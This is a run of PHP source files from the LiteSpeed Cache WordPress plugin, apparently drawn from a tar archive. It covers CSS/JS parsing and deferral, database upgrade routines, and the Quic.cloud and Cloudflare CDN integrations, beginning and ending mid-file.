Optimizer::minify_js($src_info['src']); $snippet = str_replace($src_info['src'], $code, $html_list[$key]); } } } // CSS/JS files else { $url = $this->_build_single_hash_url($src_info['src'], $file_type); if ($url) { $snippet = str_replace($src_info['src'], $url, $html_list[$key]); } // Handle css async load if ($file_type == 'css' && $this->cfg_css_async) { $snippet = $this->_async_css($snippet); } // Handle js defer if ($file_type === 'js' && $this->cfg_js_defer) { $snippet = $this->_js_defer($snippet, $src_info['src']) ?: $snippet; } } $snippet = str_replace("<$tag ", '<' . $tag . ' data-optimized="1" ', $snippet); $html_list[$key] = $snippet; } $this->content = str_replace($html_list_ori, $html_list, $this->content); } /** * Build a single URL mapped filename (This will not save in DB) * * @since 4.0 */ private function _build_single_hash_url( $src, $file_type = 'css' ) { $content = $this->__optimizer->load_file($src, $file_type); $is_min = $this->__optimizer->is_min($src); $content = $this->__optimizer->optm_snippet($content, $file_type, !$is_min, $src); $filepath_prefix = $this->_build_filepath_prefix($file_type); // Save to file $filename = $filepath_prefix . md5($this->remove_query_strings($src)) . '.' . $file_type; $static_file = LITESPEED_STATIC_DIR . $filename; File::save($static_file, $content, true); // QS is required as $src may contains version info $qs_hash = substr(md5($src), -5); return LITESPEED_STATIC_URL . "$filename?ver=$qs_hash"; } /** * Generate full URL path with hash for a list of src * * @since 1.2.2 * @access private */ private function _build_hash_url( $src_list, $file_type = 'css' ) { // $url_sensitive = $this->conf( self::O_OPTM_CSS_UNIQUE ) && $file_type == 'css'; // If need to keep unique CSS per URI // Replace preserved ESI (before generating hash) if ($file_type == 'js') { foreach ($src_list as $k => $v) { if (empty($v['inl'])) { continue; } $src_list[$k]['src'] = $this->_preserve_esi($v['src']); } } $minify = $file_type === 'css' ? $this->cfg_css_min : $this->cfg_js_min; $filename_info = $this->__optimizer->serve($this->_request_url, $file_type, $minify, $src_list); if (!$filename_info) { return false; // Failed to generate } list($filename, $type) = $filename_info; // Add cache tag in case later file deleted to avoid lscache served stale non-existed files @since 4.4.1 Tag::add(Tag::TYPE_MIN . '.' . $filename); $qs_hash = substr(md5(self::get_option(self::ITEM_TIMESTAMP_PURGE_CSS)), -5); // As filename is already related to filecon md5, no need QS anymore $filepath_prefix = $this->_build_filepath_prefix($type); return LITESPEED_STATIC_URL . $filepath_prefix . $filename . '?ver=' . $qs_hash; } /** * Parse js src * * @since 1.2.2 * @access private */ private function _parse_js() { $excludes = apply_filters('litespeed_optimize_js_excludes', $this->conf(self::O_OPTM_JS_EXC)); $combine_ext_inl = $this->conf(self::O_OPTM_JS_COMB_EXT_INL); if (!apply_filters('litespeed_optm_js_comb_ext_inl', true)) { self::debug2('js_comb_ext_inl bypassed via litespeed_optm_js_comb_ext_inl filter'); $combine_ext_inl = false; } $src_list = array(); $html_list = array(); // V7 added: (?:\r\n?|\n?) to fix replacement leaving empty new line $content = preg_replace('#<!--.*-->(?:\r\n?|\n?)#sU', '', $this->content); preg_match_all('#<script([^>]*)>(.*)</script>(?:\r\n?|\n?)#isU', $content, $matches, PREG_SET_ORDER); foreach ($matches as $match) { $attrs = empty($match[1]) ? array() : Utility::parse_attr($match[1]); if (isset($attrs['data-optimized'])) { continue; } if (!empty($attrs['data-no-optimize'])) { continue; } if (!empty($attrs['data-cfasync']) && $attrs['data-cfasync'] === 'false') { continue; } if (!empty($attrs['type']) && $attrs['type'] != 'text/javascript') { continue; } // to avoid multiple replacement if (in_array($match[0], $html_list)) { continue; } $this_src_arr = array(); // JS files if (!empty($attrs['src'])) { // Exclude check $js_excluded = Utility::str_hit_array($attrs['src'], $excludes); $is_internal = Utility::is_internal_file($attrs['src']); $is_file = substr($attrs['src'], 0, 5) != 'data:'; $ext_excluded = !$combine_ext_inl && !$is_internal; if ($js_excluded || $ext_excluded || !$is_file) { // Maybe defer if ($this->cfg_js_defer) { $deferred = $this->_js_defer($match[0], $attrs['src']); if ($deferred) { $this->content = str_replace($match[0], $deferred, $this->content); } } self::debug2('_parse_js bypassed due to ' . ($js_excluded ? 'js files excluded [hit] ' . $js_excluded : 'external js')); continue; } if (strpos($attrs['src'], '/localres/') !== false) { continue; } if (strpos($attrs['src'], 'instant_click') !== false) { continue; } $this_src_arr['src'] = $attrs['src']; } // Inline JS elseif (!empty($match[2])) { // self::debug( '🌹🌹🌹 ' . $match[2] . '🌹' ); // Exclude check $js_excluded = Utility::str_hit_array($match[2], $excludes); if ($js_excluded || !$combine_ext_inl) { // Maybe defer if ($this->cfg_js_defer) { $deferred = $this->_js_inline_defer($match[2], $match[1]); if ($deferred) { $this->content = str_replace($match[0], $deferred, $this->content); } } self::debug2('_parse_js bypassed due to ' . ($js_excluded ? 'js excluded [hit] ' . $js_excluded : 'inline js')); continue; } $this_src_arr['inl'] = true; $this_src_arr['src'] = $match[2]; if ($match[1]) { $this_src_arr['attrs'] = $match[1]; } } else { // Compatibility to those who changed src to data-src already self::debug2('No JS src or inline JS content'); continue; } $src_list[] = $this_src_arr; $html_list[] = $match[0]; } return array( $src_list, $html_list ); } /** * Inline JS defer * * @since 3.0 * @access private */ private function _js_inline_defer( $con, $attrs = false, $minified = false ) { if (strpos($attrs, 'data-no-defer') !== false) { self::debug2('bypass: attr api data-no-defer'); return false; } $hit = Utility::str_hit_array($con, $this->cfg_js_defer_exc); if ($hit) { self::debug2('inline js defer excluded [setting] ' . $hit); return false; } $con = trim($con); // Minify JS first if (!$minified) { // && $this->cfg_js_defer !== 2 $con = Optimizer::minify_js($con); } if (!$con) { return false; } // Check if the content contains ESI nonce or not $con = $this->_preserve_esi($con); if ($this->cfg_js_defer === 2) { // Drop type attribute from $attrs $attrs = Utility::remove_attr( $attrs, 'type' ); // Replace DOMContentLoaded $con = str_replace('DOMContentLoaded', 'DOMContentLiteSpeedLoaded', $con); return '<script' . $attrs . ' type="litespeed/javascript">' . $con . '</script>'; // return '<script' . $attrs . ' type="litespeed/javascript" src="data:text/javascript;base64,' . base64_encode( $con ) . '"></script>'; // return '<script' . $attrs . ' type="litespeed/javascript">' . $con . '</script>'; } return '<script' . $attrs . ' src="data:text/javascript;base64,' . base64_encode($con) . '" defer></script>'; } /** * Replace ESI to JS inline var (mainly used to avoid nonce timeout) * * @since 3.5.1 */ private function _preserve_esi( $con ) { $esi_placeholder_list = $this->cls('ESI')->contain_preserve_esi($con); if (!$esi_placeholder_list) { return $con; } foreach ($esi_placeholder_list as $esi_placeholder) { $js_var = '__litespeed_var_' . self::$_var_i++ . '__'; $con = str_replace($esi_placeholder, $js_var, $con); $this->_var_preserve_js[] = $js_var . '=' . $esi_placeholder; } return $con; } /** * Parse css src and remove to-be-removed css * * @since 1.2.2 * @access private * @return array All the src & related raw html list */ private function _parse_css() { $excludes = apply_filters('litespeed_optimize_css_excludes', $this->conf(self::O_OPTM_CSS_EXC)); $ucss_file_exc_inline = apply_filters('litespeed_optimize_ucss_file_exc_inline', $this->conf(self::O_OPTM_UCSS_FILE_EXC_INLINE)); // Append dummy css to exclude list $excludes[] = 'litespeed-dummy.css'; $combine_ext_inl = $this->conf(self::O_OPTM_CSS_COMB_EXT_INL); if (!apply_filters('litespeed_optm_css_comb_ext_inl', true)) { self::debug2('css_comb_ext_inl bypassed via litespeed_optm_css_comb_ext_inl filter'); $combine_ext_inl = false; } $css_to_be_removed = apply_filters('litespeed_optm_css_to_be_removed', array()); $src_list = array(); $html_list = array(); // $dom = new \PHPHtmlParser\Dom; // $dom->load( $content );return $val; // $items = $dom->find( 'link' ); // V7 added: (?:\r\n?|\n?) to fix replacement leaving empty new line $content = preg_replace( array( '#<!--.*-->(?:\r\n?|\n?)#sU', '#<script([^>]*)>.*</script>(?:\r\n?|\n?)#isU', '#<noscript([^>]*)>.*</noscript>(?:\r\n?|\n?)#isU' ), '', $this->content ); preg_match_all('#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>(?:\r\n?|\n?)#isU', $content, $matches, PREG_SET_ORDER); foreach ($matches as $match) { // to avoid multiple replacement if (in_array($match[0], $html_list)) { continue; } if ($exclude = Utility::str_hit_array($match[0], $excludes)) { self::debug2('_parse_css bypassed exclude ' . $exclude); continue; } $this_src_arr = array(); if (strpos($match[0], '<link') === 0) { $attrs = Utility::parse_attr($match[1]); if (empty($attrs['rel']) || $attrs['rel'] !== 'stylesheet') { continue; } if (empty($attrs['href'])) { continue; } // Check if need to remove this css if (Utility::str_hit_array($attrs['href'], $css_to_be_removed)) { self::debug('rm css snippet ' . $attrs['href']); // Delete this css snippet from orig html $this->content = str_replace($match[0], '', $this->content); continue; } // Check if need to inline this css file if ($this->conf(self::O_OPTM_UCSS) && Utility::str_hit_array($attrs['href'], $ucss_file_exc_inline)) { self::debug('ucss_file_exc_inline hit ' . $attrs['href']); // Replace this css to inline from orig html $inline_script = '<style>' . $this->__optimizer->load_file($attrs['href']) . '</style>'; $this->content = str_replace($match[0], $inline_script, $this->content); continue; } // Check Google fonts hit if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) { /** * For async gg fonts, will add webfont into head, hence remove it from buffer and store the matches to use later * * @since 2.7.3 * @since 3.0 For font display optm, need to parse google fonts URL too */ if (!in_array($attrs['href'], $this->_ggfonts_urls)) { $this->_ggfonts_urls[] = $attrs['href']; } if ($this->cfg_ggfonts_rm || $this->cfg_ggfonts_async) { self::debug('rm css snippet [Google fonts] ' . $attrs['href']); $this->content = str_replace($match[0], '', $this->content); continue; } } if (isset($attrs['data-optimized'])) { // $this_src_arr[ 'exc' ] = true; continue; } elseif (!empty($attrs['data-no-optimize'])) { // $this_src_arr[ 'exc' ] = true; continue; } $is_internal = Utility::is_internal_file($attrs['href']); $ext_excluded = !$combine_ext_inl && !$is_internal; if ($ext_excluded) { self::debug2('Bypassed due to external link'); // Maybe defer if ($this->cfg_css_async) { $snippet = $this->_async_css($match[0]); if ($snippet != $match[0]) { $this->content = str_replace($match[0], $snippet, $this->content); } } continue; } if (!empty($attrs['media']) && $attrs['media'] !== 'all') { $this_src_arr['media'] = $attrs['media']; } $this_src_arr['src'] = $attrs['href']; } else { // Inline style if (!$combine_ext_inl) { self::debug2('Bypassed due to inline'); continue; } $attrs = Utility::parse_attr($match[2]); if (!empty($attrs['data-no-optimize'])) { continue; } if (!empty($attrs['media']) && $attrs['media'] !== 'all') { $this_src_arr['media'] = $attrs['media']; } $this_src_arr['inl'] = true; $this_src_arr['src'] = $match[3]; } $src_list[] = $this_src_arr; $html_list[] = $match[0]; } return array( $src_list, $html_list ); } /** * Replace css to async loaded css * * @since 1.3 * @access private */ private function _async_css_list( $html_list, $src_list ) { foreach ($html_list as $k => $ori) { if (!empty($src_list[$k]['inl'])) { continue; } $html_list[$k] = $this->_async_css($ori); } return $html_list; } /** * Async CSS snippet * * @since 3.5 */ private function _async_css( $ori ) { if (strpos($ori, 'data-asynced') !== false) { self::debug2('bypass: attr data-asynced exist'); return $ori; } if (strpos($ori, 'data-no-async') !== false) { self::debug2('bypass: attr api data-no-async'); return $ori; } // async replacement $v = str_replace('stylesheet', 'preload', $ori); $v = str_replace('<link', '<link data-asynced="1" as="style" onload="this.onload=null;this.rel=\'stylesheet\'" ', $v); // Append to noscript content if (!defined('LITESPEED_GUEST_OPTM') && !$this->conf(self::O_OPTM_NOSCRIPT_RM)) { $v .= '<noscript>' . preg_replace('/ id=\'[\w-]+\' /U', ' ', $ori) . '</noscript>'; } return $v; } /** * Defer JS snippet * * @since 3.5 */ private function _js_defer( $ori, $src ) { $ori = Utility::remove_attr( $ori, 'async' ); if (strpos($ori, 'defer') !== false) { return false; } if (strpos($ori, 'data-deferred') !== false) { self::debug2('bypass: attr data-deferred exist'); return false; } if (strpos($ori, 'data-no-defer') !== false) { self::debug2('bypass: attr api data-no-defer'); return false; } /** * Exclude JS from setting * * @since 1.5 */ if (Utility::str_hit_array($src, $this->cfg_js_defer_exc)) { self::debug('js defer exclude ' . $src); return false; } if ($this->cfg_js_defer === 2 || Utility::str_hit_array($src, $this->cfg_js_delay_inc)) { $ori = Utility::remove_attr( $ori, 'type' ); return str_replace(' src=', ' type="litespeed/javascript" data-src=', $ori); } return str_replace('></script>', ' defer data-deferred="1"></script>', $ori); } /** * Delay JS for included setting * * @since 5.6 */ private function _js_delay( $ori, $src ) { $ori = Utility::remove_attr( $ori, 'async' ); if (strpos($ori, 'defer') !== false) { return false; } if (strpos($ori, 'data-deferred') !== false) { self::debug2('bypass: attr data-deferred exist'); return false; } if (strpos($ori, 'data-no-defer') !== false) { self::debug2('bypass: attr api data-no-defer'); return false; } if (!Utility::str_hit_array($src, $this->cfg_js_delay_inc)) { return; } $ori = Utility::remove_attr( $ori, 'type' ); return str_replace(' src=', ' type="litespeed/javascript" data-src=', $ori); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data.upgrade.func.php���������������������������������������������������0000644�����������������00000013340�15233526476�0016053 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Database upgrade funcs * * NOTE: whenever called this file, always call Data::get_upgrade_lock and Data::_set_upgrade_lock first. * * @package LiteSpeed * @since 3.0 */ defined( 'WPINC' ) || exit(); use LiteSpeed\Debug2; use LiteSpeed\Cloud; use LiteSpeed\Conf; /** * Check whether a DB table exists. * * @since 7.2 * * @param string $table_name Fully-qualified table name. * @return bool */ function litespeed_table_exists( $table_name ) { global $wpdb; $save_state = $wpdb->suppress_errors; $wpdb->suppress_errors( true ); // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnquotedComplexPlaceholder, WordPress.DB.DirectDatabaseQuery.DirectQuery $tb_exists = $wpdb->get_var( $wpdb->prepare( 'DESCRIBE `%1s`', $table_name ) ); $wpdb->suppress_errors( $save_state ); return null !== $tb_exists; } /** * Migrate v7.0- url_files URL from no trailing slash to trailing slash. * * @since 7.0.1 * @return void */ function litespeed_update_7_0_1() { global $wpdb; Debug2::debug( '[Data] v7.0.1 upgrade started' ); $tb_url = $wpdb->prefix . 'litespeed_url'; if ( ! litespeed_table_exists( $tb_url ) ) { Debug2::debug( '[Data] Table `litespeed_url` not found, bypassed migration' ); return; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $list = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$tb_url}` WHERE url LIKE %s", 'https://%/' ), ARRAY_A ); $existing_urls = array(); if ($list) { foreach ($list as $v) { $existing_urls[] = $v['url']; } } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $list = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$tb_url}` WHERE url LIKE %s", 'https://%' ), ARRAY_A ); if ( ! $list ) { return; } foreach ( $list as $v ) { if ( '/' === substr( $v['url'], -1 ) ) { continue; } $new_url = $v['url'] . '/'; if ( in_array( $new_url, $existing_urls, true ) ) { continue; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $wpdb->prepare( "UPDATE `{$tb_url}` SET url = %s WHERE id = %d", $new_url, $v['id'] ) ); } } /** * Migrate from domain key to pk/sk for QC * * @since 7.0 */ function litespeed_update_7() { Debug2::debug('[Data] v7 upgrade started'); $__cloud = Cloud::cls(); $domain_key = $__cloud->conf('api_key'); if (!$domain_key) { Debug2::debug('[Data] No domain key, bypassed migration'); return; } $new_prepared = $__cloud->init_qc_prepare(); if (!$new_prepared && $__cloud->activated()) { Debug2::debug('[Data] QC previously activated in v7, bypassed migration'); return; } $data = array( 'domain_key' => $domain_key, ); $resp = $__cloud->post(Cloud::SVC_D_V3UPGRADE, $data); if ( ! empty( $resp['qc_activated'] ) ) { if ( 'deleted' !== $resp['qc_activated'] ) { $cloud_summary_updates = array( 'qc_activated' => $resp['qc_activated'] ); if (!empty($resp['main_domain'])) { $cloud_summary_updates['main_domain'] = $resp['main_domain']; } Cloud::save_summary($cloud_summary_updates); Debug2::debug('[Data] Updated QC activated status to ' . $resp['qc_activated']); } } } /** * Drop deprecated guest_ips and guest_uas from DB options. * Migrate url table to make all links trailing slash for UCSS/CCSS. * * These values are now read from files instead. * * @since 7.7 */ function litespeed_update_7_7() { global $wpdb; Debug2::debug( '[Data] v7.7 upgrade: dropping guest_ips/guest_uas options' ); Conf::delete_option( 'conf.guest_ips' ); Conf::delete_option( 'conf.guest_uas' ); Conf::delete_site_option( 'conf.guest_ips' ); Conf::delete_site_option( 'conf.guest_uas' ); // Normalize all URLs to have trailing slash to match UCSS/CCSS generation logic Debug2::debug( '[Data] v7.7 upgrade: normalizing URL trailing slashes' ); // Skip if plain permalink mode (no trailing slash) $permalink_structure = get_option( 'permalink_structure' ); if ( empty( $permalink_structure ) ) { Debug2::debug( '[Data] Plain permalink mode, bypassed URL trailing slash migration' ); return; } $tb_url = $wpdb->prefix . 'litespeed_url'; if ( ! litespeed_table_exists( $tb_url ) ) { Debug2::debug( '[Data] Table `litespeed_url` not found, bypassed URL migration' ); return; } // Check if there are URLs without trailing slash (exclude URLs with query string) // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $count = $wpdb->get_var( "SELECT COUNT(*) FROM `{$tb_url}` WHERE url LIKE 'https://%' AND url NOT LIKE '%/' AND url NOT LIKE '%?%'" ); if ( ! $count ) { Debug2::debug( '[Data] No URLs without trailing slash found, bypassed' ); return; } // Append trailing slash to all URLs that don't have one and don't have duplicate with slash (exclude URLs with query string) // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "UPDATE `{$tb_url}` SET url = CONCAT(url, '/') WHERE url LIKE 'https://%' AND url NOT LIKE '%/' AND url NOT LIKE '%?%' AND CONCAT(url, '/') NOT IN (SELECT * FROM (SELECT url FROM `{$tb_url}` WHERE url LIKE '%/') AS tmp)" ); } /** * Append webp/mobile to url_file * * @since 5.3 */ function litespeed_update_5_3() { global $wpdb; Debug2::debug('[Data] Upgrade url_file table'); $tb = $wpdb->prefix . 'litespeed_url_file'; if ( litespeed_table_exists( $tb ) ) { $q = "ALTER TABLE `{$tb}` ADD COLUMN `mobile` tinyint(4) NOT NULL COMMENT 'mobile=1', ADD COLUMN `webp` tinyint(4) NOT NULL COMMENT 'webp=1' "; // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $q ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cdn/quic.cls.php��������������������������������������������������������0000644�����������������00000006022�15233526476�0015046 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The quic.cloud class. * * @since 2.4.1 * @package LiteSpeed * @subpackage LiteSpeed/src/cdn */ namespace LiteSpeed\CDN; use LiteSpeed\Cloud; use LiteSpeed\Base; defined('WPINC') || exit(); /** * Class Quic * * Handles Quic.cloud CDN integration. * * @since 2.4.1 */ class Quic extends Base { const LOG_TAG = '☁️'; const TYPE_REG = 'reg'; /** * Force sync flag. * * @var bool */ private $force = false; /** * Notify CDN new config updated * * Syncs configuration with Quic.cloud CDN. * * @since 2.4.1 * @access public * @param bool $force Whether to force sync. * @return bool|void */ public function try_sync_conf( $force = false ) { $cloud_summary = Cloud::get_summary(); if ($force) { $this->force = $force; } if (!$this->conf(self::O_CDN_QUIC)) { if (!empty($cloud_summary['conf_md5'])) { self::debug('❌ No QC CDN, clear conf md5!'); Cloud::save_summary(array( 'conf_md5' => '' )); } return false; } // Notice: Sync conf must be after `wp_loaded` hook, to get 3rd party vary injected (e.g. `woocommerce_cart_hash`). if (!did_action('wp_loaded')) { add_action('wp_loaded', array( $this, 'try_sync_conf' ), 999); self::debug('WP not loaded yet, delay sync to wp_loaded:999'); return; } $options = $this->get_options(); $options['_tp_cookies'] = apply_filters('litespeed_vary_cookies', array()); // Build necessary options only $options_needed = array( self::O_CACHE_DROP_QS, self::O_CACHE_EXC_COOKIES, self::O_CACHE_EXC_USERAGENTS, self::O_CACHE_LOGIN_COOKIE, self::O_CACHE_VARY_COOKIES, self::O_CACHE_MOBILE_RULES, self::O_CACHE_MOBILE, self::O_CACHE_BROWSER, self::O_CACHE_TTL_BROWSER, self::O_IMG_OPTM_WEBP, self::O_GUEST, '_tp_cookies', ); $consts_needed = array( 'LSWCP_TAG_PREFIX' ); $options_for_md5 = array(); foreach ($options_needed as $v) { if (isset($options[$v])) { $options_for_md5[$v] = $options[$v]; // Remove overflow multi lines fields if (is_array($options_for_md5[$v]) && count($options_for_md5[$v]) > 30) { $options_for_md5[$v] = array_slice($options_for_md5[$v], 0, 30); } } } $server_vars = $this->server_vars(); foreach ($consts_needed as $v) { if (isset($server_vars[$v])) { if (empty($options_for_md5['_server'])) { $options_for_md5['_server'] = array(); } $options_for_md5['_server'][$v] = $server_vars[$v]; } } $conf_md5 = md5(wp_json_encode($options_for_md5)); if (!empty($cloud_summary['conf_md5'])) { if ($conf_md5 === $cloud_summary['conf_md5']) { if (!$this->force) { self::debug('Bypass sync conf to QC due to same md5', $conf_md5); return; } self::debug('!!!Force sync conf even same md5'); } else { self::debug('[conf_md5] ' . $conf_md5 . ' [existing_conf_md5] ' . $cloud_summary['conf_md5']); } } Cloud::save_summary(array( 'conf_md5' => $conf_md5 )); self::debug('sync conf to QC'); Cloud::post(Cloud::SVC_D_SYNC_CONF, $options_for_md5); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cdn/cloudflare.cls.php��������������������������������������������������0000644�����������������00000017634�15233526476�0016240 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The cloudflare CDN class. * * @since 2.1 * @package LiteSpeed * @subpackage LiteSpeed/src/cdn * @author LiteSpeed Technologies <info@litespeedtech.com> */ namespace LiteSpeed\CDN; use LiteSpeed\Base; use LiteSpeed\Debug2; use LiteSpeed\Router; use LiteSpeed\Admin; use LiteSpeed\Admin_Display; defined('WPINC') || exit(); /** * Class Cloudflare * * @since 2.1 */ class Cloudflare extends Base { const TYPE_PURGE_ALL = 'purge_all'; const TYPE_GET_DEVMODE = 'get_devmode'; const TYPE_SET_DEVMODE_ON = 'set_devmode_on'; const TYPE_SET_DEVMODE_OFF = 'set_devmode_off'; const ITEM_STATUS = 'status'; /** * Update zone&name based on latest settings * * @since 3.0 * @access public */ public function try_refresh_zone() { if (!$this->conf(self::O_CDN_CLOUDFLARE)) { return; } $zone = $this->fetch_zone(); if ($zone) { $this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_NAME, $zone['name']); $this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_ZONE, $zone['id']); Debug2::debug("[Cloudflare] Get zone successfully \t\t[ID] " . $zone['id']); } else { $this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_ZONE, ''); Debug2::debug('[Cloudflare] ❌ Get zone failed, clean zone'); } } /** * Get Cloudflare development mode * * @since 1.7.2 * @access private * @param bool $show_msg Whether to show success/error message. */ private function get_devmode( $show_msg = true ) { Debug2::debug('[Cloudflare] get_devmode'); $zone = $this->zone(); if (!$zone) { return; } $url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/settings/development_mode'; $res = $this->cloudflare_call($url, 'GET', false, $show_msg); if (!$res) { return; } Debug2::debug('[Cloudflare] get_devmode result ', $res); // Make sure is array: #992174 $curr_status = self::get_option(self::ITEM_STATUS, array()); if ( ! is_array( $curr_status ) ) { $curr_status = array(); } $curr_status['devmode'] = $res['value']; $curr_status['devmode_expired'] = (int) $res['time_remaining'] + time(); // update status self::update_option(self::ITEM_STATUS, $curr_status); } /** * Set Cloudflare development mode * * @since 1.7.2 * @access private * @param string $type The type of development mode to set (on/off). */ private function set_devmode( $type ) { Debug2::debug('[Cloudflare] set_devmode'); $zone = $this->zone(); if (!$zone) { return; } $url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/settings/development_mode'; $new_val = self::TYPE_SET_DEVMODE_ON === $type ? 'on' : 'off'; $data = array( 'value' => $new_val ); $res = $this->cloudflare_call($url, 'PATCH', $data); if (!$res) { return; } $res = $this->get_devmode(false); if ($res) { $msg = sprintf(__('Notified Cloudflare to set development mode to %s successfully.', 'litespeed-cache'), strtoupper($new_val)); Admin_Display::success($msg); } } /** * Shortcut to purge Cloudflare * * @since 7.1 * @access public * @param string|bool $reason The reason for purging, or false if none. */ public static function purge_all( $reason = false ) { if ($reason) { Debug2::debug('[Cloudflare] purge call because: ' . $reason); } self::cls()->purge_all_private(); } /** * Purge Cloudflare cache * * @since 1.7.2 * @access private */ private function purge_all_private() { Debug2::debug('[Cloudflare] purge_all_private'); $cf_on = $this->conf(self::O_CDN_CLOUDFLARE); if (!$cf_on) { $msg = __('Cloudflare API is set to off.', 'litespeed-cache'); Admin_Display::error($msg); return; } $zone = $this->zone(); if (!$zone) { return; } $url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/purge_cache'; $data = array( 'purge_everything' => true ); $res = $this->cloudflare_call($url, 'DELETE', $data); if ($res) { $msg = __('Notified Cloudflare to purge all successfully.', 'litespeed-cache'); Admin_Display::success($msg); } } /** * Get current Cloudflare zone from cfg * * @since 1.7.2 * @access private */ private function zone() { $zone = $this->conf(self::O_CDN_CLOUDFLARE_ZONE); if (!$zone) { $msg = __('No available Cloudflare zone', 'litespeed-cache'); Admin_Display::error($msg); return false; } return $zone; } /** * Get Cloudflare zone settings * * @since 1.7.2 * @access private */ private function fetch_zone() { $kw = $this->conf(self::O_CDN_CLOUDFLARE_NAME); $url = 'https://api.cloudflare.com/client/v4/zones?status=active&match=all'; // Try exact match first if ($kw && false !== strpos($kw, '.')) { $zones = $this->cloudflare_call($url . '&name=' . $kw, 'GET', false, false); if ($zones) { Debug2::debug('[Cloudflare] fetch_zone exact matched'); return $zones[0]; } } // Can't find, try to get default one $zones = $this->cloudflare_call($url, 'GET', false, false); if (!$zones) { Debug2::debug('[Cloudflare] fetch_zone no zone'); return false; } if (!$kw) { Debug2::debug('[Cloudflare] fetch_zone no set name, use first one by default'); return $zones[0]; } foreach ($zones as $v) { if (false !== strpos($v['name'], $kw)) { Debug2::debug('[Cloudflare] fetch_zone matched ' . $kw . ' [name] ' . $v['name']); return $v; } } // Can't match current name, return default one Debug2::debug('[Cloudflare] fetch_zone failed match name, use first one by default'); return $zones[0]; } /** * Cloudflare API * * @since 1.7.2 * @access private * @param string $url The API URL to call. * @param string $method The HTTP method to use (GET, POST, etc.). * @param array|bool $data The data to send with the request, or false if none. * @param bool $show_msg Whether to show success/error message. */ private function cloudflare_call( $url, $method = 'GET', $data = false, $show_msg = true ) { Debug2::debug("[Cloudflare] cloudflare_call \t\t[URL] $url"); if (strlen($this->conf(self::O_CDN_CLOUDFLARE_KEY)) === 40) { $headers = array( 'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' . $this->conf(self::O_CDN_CLOUDFLARE_KEY), ); } else { $headers = array( 'Content-Type' => 'application/json', 'X-Auth-Email' => $this->conf(self::O_CDN_CLOUDFLARE_EMAIL), 'X-Auth-Key' => $this->conf(self::O_CDN_CLOUDFLARE_KEY), ); } $wp_args = array( 'method' => $method, 'headers' => $headers, ); if ($data) { if (is_array($data)) { $data = wp_json_encode($data); } $wp_args['body'] = $data; } $resp = wp_remote_request($url, $wp_args); if (is_wp_error($resp)) { Debug2::debug('[Cloudflare] error in response'); if ($show_msg) { $msg = __('Failed to communicate with Cloudflare', 'litespeed-cache'); Admin_Display::error($msg); } return false; } $result = wp_remote_retrieve_body($resp); $json = \json_decode($result, true); if ($json && $json['success'] && $json['result']) { Debug2::debug('[Cloudflare] cloudflare_call called successfully'); if ($show_msg) { $msg = __('Communicated with Cloudflare successfully.', 'litespeed-cache'); Admin_Display::success($msg); } return $json['result']; } Debug2::debug("[Cloudflare] cloudflare_call called failed: $result"); if ($show_msg) { $msg = __('Failed to communicate with Cloudflare', 'litespeed-cache'); Admin_Display::error($msg); } return false; } /** * Handle all request actions from main cls * * @since 1.7.2 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_PURGE_ALL: $this->purge_all_private(); break; case self::TYPE_GET_DEVMODE: $this->get_devmode(); break; case self::TYPE_SET_DEVMODE_ON: case self::TYPE_SET_DEVMODE_OFF: $this->set_devmode($type); break; default: break; } Admin::redirect(); } } ����������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/doc.cls.php�������������������������������������������������������������0000644�����������������00000012711�15233526476�0014110 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Helper to render small documentation/tooltips in the UI. * * @package LiteSpeed * @since 2.2.7 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Small utility view helpers for docs/warnings/links. */ class Doc { /** * Show a notice when an option is effectively forced ON by Guest Mode. * * @since 5.5 * * @param string $id Option id. * @return void */ public static function maybe_on_by_gm( $id ) { if ( apply_filters( 'litespeed_conf', $id ) ) { return; } if ( ! apply_filters( 'litespeed_conf', Base::O_GUEST ) ) { return; } if ( ! apply_filters( 'litespeed_conf', Base::O_GUEST_OPTM ) ) { return; } echo '<font class="litespeed-warning">'; echo wp_kses_post( '⚠️ ' . sprintf( __( 